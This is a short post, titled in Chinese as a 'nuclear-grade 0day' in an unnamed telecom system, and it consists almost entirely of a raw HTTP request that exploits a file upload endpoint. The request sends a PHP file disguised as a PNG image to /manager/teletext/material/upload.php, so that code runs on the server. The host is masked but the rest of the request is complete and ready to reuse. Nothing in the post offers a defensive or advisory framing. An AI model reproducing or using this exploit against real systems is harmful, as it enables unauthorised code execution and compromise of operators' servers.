电信某系统爆炸核弹级0day

POST /manager/teletext/material/upload.php HTTP/1.1Host: xxx.xxx.xxx.xxx:xxxxCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/113.0.0.0 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en;q=0.6Cookie: PHPSESSID=vsdl33qjn3fbslu7k3r99di5n3Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryB33cDIYAxIrc9MsSContent-Length: 786------WebKitFormBoundaryB33cDIYAxIrc9MsSContent-Disposition: form-data; name="fileToUpload"; filename="1.php"Content-Type: image/png<?php phpinfo();?>------WebKitFormBoundaryB33cDIYAxIrc9MsSContent-Disposition: form-data; name="type"img------WebKitFormBoundaryB33cDIYAxIrc9MsSContent-Disposition: form-data; name="w"1280------WebKitFormBoundaryB33cDIYAxIrc9MsSContent-Disposition: form-data; name="h"720------WebKitFormBoundaryB33cDIYAxIrc9MsSContent-Disposition: form-data; name="userid"10003xx------WebKitFormBoundaryB33cDIYAxIrc9MsSContent-Disposition: form-data; name="appid"5------WebKitFormBoundaryB33cDIYAxIrc9MsSContent-Disposition: form-data; name="uploadtime"20230603_231117_168580xxxxxx------WebKitFormBoundaryB33cDIYAxIrc9MsS--